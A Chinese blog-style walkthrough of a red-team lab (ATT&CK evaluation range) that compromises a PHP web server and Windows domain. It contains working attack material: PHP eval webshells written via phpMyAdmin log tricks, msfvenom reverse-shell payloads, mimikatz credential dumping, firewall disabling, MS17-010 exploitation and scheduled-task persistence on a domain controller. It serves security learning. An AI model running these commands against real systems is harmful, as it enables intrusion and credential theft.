赞
踩
ATT&CK红队评估(一)
对目标主机进行扫描探测
给出的信息 存在80端口 3306 数据库端口
先去访问他的80 端口查看是什么
给出了绝对路径信息, C:/phpStudy/WWW
翻到最下面
存在用户名 ,密码 尝试使用弱口令
root root
root 123456
admin admin
admin 123456
......
使用 root root
连接到数据库正常 ,说明用户名密码没有错。
对目录进行扫描
基本上都是phpmyadmin 的目录
刚好前面经过弱口令测试 得到数据库登录密码
使用弱口令登录
登录之后查看数据库版本,数据库信息
数据库版本信息
Server: localhost via TCP/IP
Software: MySQL
Software version: 5.5.53 - MySQL Community Server (GPL)
Protocol version: 10
User: root@localhost
Server charset: UTF-8 Unicode (utf8)
先放着
还发现存在一个yxcms
找了找xycms 的后台地址
r 后面接的是地址
经过百度 ,Google 发现 xycms 存在弱口令 以及 写phpshell 的 漏洞
使用弱口令 登录
admin 123456
前台模版 --> 编辑php文件 —> 写shell
写简单的一句话
路径是存在于
yxcms/protected/apps/default/view/default/acomment.php
完整连接
http://192.168.145.145/yxcms/protected/apps/default/view/default/acomment.php
连接成功
ok,转过头来看 phpmyadmin
再次登录 phpmyadmin
一般phpmyadmin 都是可以执行 sql语句的 所以可以直接使用select into outfile直接写入shell
phpmyadmin getshell 常用方法
1、select into outfile直接写入
2、开启全局日志getshell
3、使用慢查询日志getsehll
4、使用错误日志getshell
5、利用phpmyadmin4.8.x本地文件包含漏洞getshell
先尝试 select into outfile
select into outfile写入shell,需要知道网站的绝对路径,比较容易失败。
使用 select @@basedir 报绝对路径 ,当然从探针哪里就可以看到绝对路径 ,基本都在phpstudy路径下面
写shell呢,就写在 www/ 下面
先查看是否有写入权限
如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。这里不允许修改 ,无法使用这个方法写shell
但这里还是把写shell的代码贴出来 ,
select load_file('C:/phpstudy/www/a.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/phpstudy/www/a.php';
检测全局变量(general_log、general_log file)
SHOW VARIABLES LIKE 'general%'
general_log默认关闭,以及日志的存储路径 。
全局日志开启并将保存日志的目录设为web目录
set global general_log=on;# 开启日志
set global general_log_file='C:/phpStudy/WWW/yxcms/rz.php';# 设置日志位置为网站目录
再去查询
就会发现开启
现在执行 select’<?php eval($_POST[cmd]); ?>’ 语句就写入到 rz.php文件里面
去访问就好了,
成功连接shell
先查看IP地址
存在两张网卡
192.168.145.145 外网网卡
192.168.52.143 内网网卡
让他上线MSF或者CS
先生成一个木马上线MSF 提权到system
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.145.130 LPORT=4444 -f exe > shell.exe
上传shell
运行上传的shell
设置监听
就反弹shell了
提权 –
使用最简的 getsystem试一试,因为他现在administrator 权限
这样就成功提权到system权限了
内网路由
meterpreter > run get_local_subnets
[!] Meterpreter scripts are deprecated. Try post/multi/manage/autoroute.
[!] Example: run post/multi/manage/autoroute OPTION=value [...]
Local subnet: 169.254.0.0/255.255.0.0
Local subnet: 192.168.52.0/255.255.255.0
Local subnet: 192.168.145.0/255.255.255.0
内网网段应该是192.168.52.0/24
添加前往 52网段的路由
run autoroute -s 192.168.52.0/24
查看添加后的路由
基本的使用
run autoroute -p
–>查看域环境
use incognito
–>调用劫持域管理模块
list_tokens -u
–>查看当前目标主机的域环境信息
添加去往目标网段的转发路由
run autoroute –s <目标内网地址网段>
run autoroute -s 0.0.0.0/0
添加到达0.0.0.0/0的路由
查看路由添加情况
run autoroute -p
ipconfig /all 查看ip 和是否存在域
存在 god.org 域的
查看路由信息
查看共享 net share
既然存在域查看域用户
查看主域
net time /domain
使用ping 查看 域控的IP地址
IP地址为 : 192.168.52.138
基本信息收集命令
ipconfig /all # 查看本机ip,所在域 route print # 打印路由信息 net view # 查看局域网内其他主机名 arp -a # 查看arp缓存 net start # 查看开启了哪些服务 net share # 查看开启了哪些共享 net share ipc$ # 开启ipc共享 net share c$ # 开启c盘共享 net use \\192.168.xx.xx\ipc$ "" /user:"" # 与192.168.xx.xx建立空连接 net use \\192.168.xx.xx\c$ "密码" /user:"用户名" # 建立c盘共享 dir \\192.168.xx.xx\c$\user # 查看192.168.xx.xx c盘user目录下的文件 net config Workstation # 查看计算机名、全名、用户名、系统版本、工作站、域、登录域 net user # 查看本机用户列表 net user /domain # 查看域用户 net localgroup administrators # 查看本地管理员组(通常会有域用户) net view /domain # 查看有几个域 net user 用户名 /domain # 获取指定域用户的信息 net group /domain # 查看域里面的工作组,查看把用户分了多少组(只能在域控上操作) net group 组名 /domain # 查看域中某工作组 net group "domain admins" /domain # 查看域管理员的名字 net group "domain computers" /domain # 查看域中的其他主机名 net group "doamin controllers" /domain # 查看域控制器(可能有多台)
添加一个用户test到管理员组 到后面好进行远程连接
查看是否开启3389 端口
好像并没有开启3389
使用这条命令开启3389 端口
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
关闭防火墙
run post/windows/manage/enable_rdp
rdesktop IP地址
远程也开启了 ,抓取一下密码
msf的hashdump 抓取失败了 还可以使用msf自带的模块进行抓取hansh
meterpreter > run post/windows/gather/smart_hashdump
上mimitakz
权限提升
privilege::debug
抓取密码
sekurlsa::logonPasswords
获取到Administrator的密码了
这台机子算完成了
最后再查看内网有哪些机子
for /L %I in (1,1,255) DO @ping -w 1 -n 1 192.168.52.%I | findstr "TTL="
由于这个很卡很慢不知道为啥,在这里
use post/windows/gather/arp_scanner
set session 1
set rhosts 192.168.52.100-200
run
查看到3个ip地址
138 我们已经知道是域控主机了 ,
对141 先进行探测
添加路由先
先添加socks代理
use auxiliary/server/socks_proxy
set SRVHOST 127.0.0.1
set SRVPORT 8888
set VERSION 4a
run
添加代理
经过测试是可以正常返回内网的 ,一开始使用ping 进行 测试是否联通,但是没用,好像是不支持
探测是否存在 ms17_010
use auxiliary/scanner/smb/smb_ms17_010
set rhost 192.168.52.141
run
但是这里一直卡 卡 卡
扫描发现是存在受攻击的
但是使用攻击模块 一直不成功,发现超时还是其他另外有原因 (不清楚)
扫描3389 端口
发现关闭的
使用use auxiliary/admin/smb/ms17_010_command 模块开启 3389
这个模块是可以执行命令的
再次扫描 验证是否有效果
发现3389 开启了
添加一个test1 用户 然后添加到 管理员组
远程连接看看是否成功
proxychains4 rdesktop 192.168.52.141
在我想使用exploit/windows/smb/ms17_010_psexec 弹shell 的时候弹不回来 测试不下20次 依旧反弹不了
这图是网上师傅的
我测试过了 我这边不知道啥问题一直到最后一步就断开了 哎
既然上一种方法行不通 ,那就换一种方法
创建一个Lisenter,相当于msf的handler
使用MSF的exploit/windows/local/payload_inject模块
use exploit/windows/local/payload_inject
set payload windows/meterpreter/reverse_http
set lport 1235 #需要同CS监听端口一致
set session 1 #需要传入的session
set DisablePayloadHandler true
run
上线
就简单提权 getsystem 也可以或者使用插件CVE 提权
shell netsh firewall show state 查询防火墙状态
shell netsh advfirewall set allprofiles state off 关闭防火墙
获取一些信息
创建一个 smb 的监听
点击目标 Target
使用psexec
选择刚才所创建的smb监听
然后选择带有session 的 那个
这里是全部做完之后再接截图的,所以全部都已经获取了system权限
这样就可以拿下域控了
域成员也是如此的
全部拿下
通过win7在域控上面上传一个msf马
存在文件共享的,我们也获取到了域控的密码,可以进行登录上传写计划任务
net use \\192.168.52.138\c$ "Admin@123" /user:"administrator"
dir \\192.168.52.138\c$
将一开始的那个shell 传到 域控上面去
copy c:\phpstudy\www\yxcms\shell.exe \\192.168.52.138\c$
设置一个任务计划,定时启动木马之后就能够获取域控的shell了
shell schtasks /create /tn "test" /tr C:\shell.exe /sc once /st 2:04 /S 192.168.52.138 /RU System /u administrator /p "Admin@123"
总结:
第一次打内网的靶场,也是才学习内网,下午两点开始搭建环境到展开打靶的过程
带现在2:27 结束 (下午吃饭,这些时间不算)也有好久了 感觉
不太明白的地方就问题1 我测试了不下20多次 任然错误,就最后一步断开连接 ,真头疼
然后自己不熟悉的地方 还有很多,比如代理,内网穿透啊 ,各种上线啊,等等
这些还不太熟悉,太菜了 ,打一天了
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。